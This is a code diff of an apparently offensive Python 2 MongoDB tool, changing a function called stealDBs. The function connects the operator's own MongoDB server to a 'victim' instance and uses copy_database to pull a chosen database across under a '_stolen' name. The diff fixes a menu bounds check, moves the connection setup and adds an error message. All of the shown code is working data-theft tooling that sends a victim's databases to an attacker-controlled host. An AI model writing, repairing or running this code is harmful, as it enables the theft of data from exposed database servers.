@@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
154154 while dbLoot :
155155 dbLoot = raw_input ("Select a database to steal: " )
156156
157- if int (dbLoot ) > menuItem :
157+ if int (dbLoot ) >= menuItem :
158158 print "Invalid selection."
159159
160160 else :
@@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn):
163163 try :
164164 #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
165165 dbNeedCreds = raw_input ("Does this database require credentials (y/n)? " )
166-
166+ myDBConn = pymongo . MongoClient ( myDB , 27017 )
167167 if dbNeedCreds in no_tag :
168- myDBConn = pymongo . MongoClient ( myDB , 27017 )
168+
169169 myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
170170
171171 elif dbNeedCreds in yes_tag :
@@ -189,7 +189,8 @@ def stealDBs(myDB,victim,mongoConn):
189189 if str (e ).find ('text search not enabled' ) != - 1 :
190190 raw_input ("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return..." )
191191 return
192-
192+ elif str (e ).find ('Network is unreachable' ) != - 1 :
193+ raw_input ("Are you sure your network is unreachable? Press enter to return.." )
193194 else :
194195 raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return..." )
195196 return
0 commit comments